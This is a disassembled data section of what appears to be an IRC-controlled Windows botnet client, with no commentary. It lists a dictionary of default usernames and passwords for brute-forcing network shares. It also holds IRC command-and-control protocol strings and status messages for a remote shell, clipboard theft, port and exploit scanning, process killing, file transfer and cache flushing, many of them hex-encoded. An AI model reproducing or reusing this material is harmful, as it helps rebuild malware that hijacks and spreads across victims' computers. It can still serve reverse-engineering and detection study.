aSystem_0 db 'SYSTEM',0 ; DATA XREF: seg001:0042C4A4o
; seg001:0042E4B8o ...
align 4
aBackup db 'BACKUP',0 ; DATA XREF: seg001:0042C4A0o
; seg001:0042E860o
align 10h
aAccess db 'ACCESS',0 ; DATA XREF: seg001:0042C498o
; seg001:0042E858o
align 4
aTest db 'TEST',0 ; DATA XREF: seg001:0042C494o
; seg001:0042E854o
align 10h
aEdu db 'edu',0 ; DATA XREF: seg001:0042C490o
; seg001:0042E850o
aOwner_1 db 'Owner',0 ; DATA XREF: seg001:0042C48Co
; seg001:0042E84Co
align 4
aOwner_0 db 'OWNER',0 ; DATA XREF: seg001:0042C488o
; seg001:0042E848o
align 4
aDemo db 'DEMO',0 ; DATA XREF: seg001:0042C484o
; seg001:0042E844o
align 4
aFiles db 'FILES',0 ; DATA XREF: seg001:0042C480o
; seg001:0042E840o
align 4
aRead db 'READ',0 ; DATA XREF: seg001:0042C47Co
; seg001:0042E83Co
align 4
aBoth db 'BOTH',0 ; DATA XREF: seg001:0042C478o
; seg001:0042E838o
align 4
aLadeda db 'ladeda',0 ; DATA XREF: seg001:0042C474o
; seg001:0042E834o
align 4
aFull_0 db 'FULL',0 ; DATA XREF: seg001:0042C470o
; seg001:0042E830o
align 4
aWrite db 'WRITE',0 ; DATA XREF: seg001:0042C46Co
; seg001:0042E82Co
align 4
aShare_0 db 'SHARE',0 ; DATA XREF: seg001:0042C468o
; seg001:0042E828o
align 4
aTemp db 'TEMP',0 ; DATA XREF: seg001:0042C464o
; seg001:0042E824o
align 4
aPassword db 'PASSWORD',0 ; DATA XREF: seg001:0042C460o
; seg001:0042E820o
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: seg001:0042C45Co
; seg001:0042E81Co
align 10h
aRoot_0 db 'ROOT',0 ; DATA XREF: seg001:0042C454o
; seg001:0042E814o
align 4
aGuest_1 db 'GUEST',0 ; DATA XREF: seg001:0042C450o
; seg001:0042E810o
align 10h
aBla db 'bla',0 ; DATA XREF: seg001:0042C44Co
; seg001:0042E80Co
aFubar db 'fubar',0 ; DATA XREF: seg001:0042C448o
; seg001:0042E808o
align 4
aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: seg001:0042C43Co
; seg001:0042E7FCo
align 4
aDb2 db 'db2',0 ; DATA XREF: seg001:0042C42Co
aOracle db 'oracle',0 ; DATA XREF: seg001:0042C428o
; seg001:0042C514o
align 4
aDba db 'dba',0 ; DATA XREF: seg001:0042C424o
aDatabase db 'database',0 ; DATA XREF: seg001:0042C420o
; seg001:0042C508o
align 4
aDefault db 'default',0 ; DATA XREF: seg001:0042C41Co
; seg001:0042CBA8o
aGuest_0 db 'guest',0 ; DATA XREF: seg001:0042C418o
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg001:0042C414o
align 4
aTeacher db 'teacher',0 ; DATA XREF: seg001:0042C410o
; seg001:0042DB3Co
aStudent db 'student',0 ; DATA XREF: seg001:0042C40Co
; seg001:0042DA84o
aOwner db 'owner',0 ; DATA XREF: seg001:0042C408o
align 4
aComputer db 'computer',0 ; DATA XREF: seg001:0042C404o
; seg001:0042C520o
align 4
aStaff db 'staff',0 ; DATA XREF: seg001:0042C3FCo
align 10h
aAdmins db 'admins',0 ; DATA XREF: seg001:0042C3F4o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: seg001:0042C3F0o
aAdministrateur db 'administrateur',0 ; DATA XREF: seg001:0042C3ECo
align 4
aAdministrador db 'administrador',0 ; DATA XREF: seg001:0042C3E8o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: seg001:0042C3E4o
; seg001:0042C444o ...
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_4134AF:loc_4135BAo
; seg001:0042C3E0o ...
align 4
aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: seg001:off_42C330o
a@room db '*@room',0 ; DATA XREF: seg001:off_42C32Co
align 4
dword_433218 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C574+34Do
dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h
dd 2E64h
dword_433244 dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40C574+27Bo
dword_433250 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CA58+F2o
dd 2029206Ch, 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 10h
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40CBBE+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40CBBE+35o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5C7Do
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5C68o
align 4
dword_4332C8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5C54o
dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 4
dword_4332FC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5C37o
dd 2029206Ch, 2BBBB02h
aPasswordAccept db ' Password accepted.',0
align 10h
dword_433330 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5BE2o
dd 2029206Ch, 2BBBB02h
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 10h
dword_433370 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5B75o
dd 2029206Ch, 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 10h
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: sub_40CD3A+5B66o
; sub_40CD3A+5BD3o
align 4
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40CD3A+5B52o
; sub_40CD3A+5BBFo
align 4
asc_4333FC: ; DATA XREF: sub_40CD3A+5B22o
unicode 0, <~>,0
dword_433400 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5AD1o
dd 2029206Ch, 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 4
dword_433438 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5A23o
dd 2029206Ch, 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
dword_433478 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5A18o
dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 4
dword_4334B8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+59C7o
dd 2029206Ch, 2BBBB02h, 73252020h, 2 dup(0)
unk_4334E0 db 2 ; DATA XREF: sub_40CD3A+59A3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0
align 10h
dword_433530 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_40CD3A+593Fo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h
dd 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40CD3A+5939o
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_40CD3A+5932o
align 4
aSec db 'sec',0 ; DATA XREF: sub_40CD3A+58D7o
aSecure db 'secure',0 ; DATA XREF: sub_40CD3A+58C6o
align 10h
unk_433580 db 2 ; DATA XREF: sub_40CD3A+58A6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0
dword_4335CC dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40CD3A+5783o
dword_4335DC dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40CD3A+577Eo
dword_4335E8 dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40CD3A+576Eo
dword_4335F4 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40CD3A+5769o
dword_433604 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5733o
dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h
dd 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A:loc_412460o
align 4
dword_433648 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5711o
dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh
dd 2E676E69h, 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A:loc_41243Eo
align 10h
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+56DBo
align 4
dword_43369C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+568Fo
dd 2029206Ch, 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
dword_4336DC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5651o
dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah
dd 2Eh
dword_433708 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A+5627o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_433754 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A+55CEo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
dd 61657268h, 2E7364h
dword_433784 dd 627573h ; DATA XREF: sub_40CD3A+55A8o
dword_433788 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5556o
dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch
dd 2Eh, 0
dword_4337B8 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40CD3A+5526o
dd 2029206Ch, 2BBBB02h
aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_433804 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40CD3A+54AFo
dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h
dd 2E67h
dword_433830 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5428o
dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh
dd 2E6F66h
dword_43385C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+53F9o
dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h
dd 2E6Fh
dword_433888 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+53A4o
dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh
dd 2E746Fh, 0
dword_4338B8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A+5373o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_433908 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A+5314o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
dd 6C207373h, 2E747369h, 0
aFull db 'full',0 ; DATA XREF: sub_40CD3A+52F4o
align 4
dword_433944 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A+5292o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning db ' Already running.',0
align 4
unk_433978 db 2 ; DATA XREF: sub_40CD3A+5266o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 64h, 6Bh, 65h
db 79h ; y
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSearchComplete db ' Search completed.',0
align 4
dword_4339AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5217o
dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah
dd 2Eh
dword_4339D8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_411EB4o
dd 2029206Ch, 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_433A0C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5173o
dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 4
dword_433A48 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5157o
dd 2029206Ch, 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_433A84 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5141o
dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h
dd 2E647261h, 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CD3A+5113o
align 4
unk_433AC8 db 2 ; DATA XREF: sub_40CD3A:loc_411E3Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 4
unk_433B08 db 2 ; DATA XREF: sub_40CD3A+50EEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 10h
unk_433B40 db 2 ; DATA XREF: sub_40CD3A:loc_411E0Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 10h
unk_433B80 db 2 ; DATA XREF: sub_40CD3A:loc_411E05o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 10h
unk_433BC0 db 2 ; DATA XREF: sub_40CD3A+50C4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 4
unk_433BF8 db 2 ; DATA XREF: sub_40CD3A+5031o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_10 db 'Failed to start server thread, error: <%d>.',0
align 8
unk_433C48 db 2 ; DATA XREF: sub_40CD3A+4EBCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0
unk_433C94 db 2 ; DATA XREF: sub_40CD3A+4DAFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_0 db 'Already running.',0
align 4
dword_433CC8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A:loc_411AD3o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12 db ' Failed to start scan, port is invalid.',0
align 8
dword_433D18 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A+4CDAo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
dword_433D94 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4A92o
dd 2029206Ch, 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 4
dword_433DCC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4A79o
dd 2029206Ch, 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_433E00 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4A5Co
dd 2029206Ch, 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_433E34 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4A46o
dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h
dd 2E73h
dword_433E60 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A:loc_41170Co
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 10h
dword_433EA0 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A+49CBo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 4
dword_433ED8 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A:loc_4116C8o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
dword_433F14 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A+4984o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 10h
aAll db 'all',0 ; DATA XREF: sub_40CD3A+496Ao
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+48DFo
; sub_40CD3A:loc_412427o
align 4
dword_433F64 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4869o
dd 2029206Ch, 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_433F9C db 2 ; DATA XREF: sub_40CD3A:loc_41158Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0
align 4
unk_433FD4 db 2 ; DATA XREF: sub_40CD3A+484Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFileOpenedS db 'File opened: %s',0
dword_434004 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4821o
dd 2029206Ch, 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 4
dword_43403C dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_41153Fo
dd 2029206Ch, 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 4
dword_434078 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: sub_40CD3A+47DAo
dd 2029206Ch, 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
dword_4340A8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A:loc_4114E0o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
dword_4340EC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A+479Co
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS db ' Process killed: %s',0
align 8
dword_434128 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A:loc_411486o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
align 10h
dword_434170 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A+4745o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI db ' Process killed ID: %s',0
dword_4341A8 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CD3A+46FEo
dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h
dd 2E277325h, 0
dword_4341D8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+46D3o
dd 2029206Ch, 2BBBB02h
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
dword_434224 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+467Ao
dd 2029206Ch, 2BBBB02h
aSendFileSUserS db ' Send File: %s, User: %s.',0
align 4
dword_43425C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CD3A+4608o
dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h
dd 0
unk_434288 db 2 ; DATA XREF: sub_40CD3A+45C9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_13 db 'Failed to start connection thread, error: <%d>.',0
dword_4342D8 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40CD3A+4570o
dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h
dd 0
dword_434304 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
; DATA XREF: sub_40CD3A:loc_411205o
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh
dd 2E746E65h, 0
unk_434334 db 2 ; DATA XREF: sub_40CD3A+44C4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Dh ; m
db 69h, 72h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_434364 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4487o
dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h
dd 7325h
dword_434390 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CD3A+447Fo
dd 2029206Ch, 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 10h
dword_4343D0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4439o
dd 2029206Ch, 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 4
dword_434404 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4425o
dd 2029206Ch, 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 4
dword_43443C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+43A0o
dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h
dd 2E73h
dword_434468 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_41109Fo
dd 2029206Ch, 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 4
dword_4344AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+434Fo
dd 2029206Ch, 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
dword_4344E4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+42CDo
dd 2029206Ch, 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_434514 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+428Fo
dd 2029206Ch, 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 4
dword_434544 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4239o
dd 2029206Ch, 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 4
dword_434574 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+41CEo
dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0
dword_43459C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40CD3A+4194o
; sub_40CD3A+4A4Eo
dword_4345A8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+416Do
dd 2029206Ch, 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 4
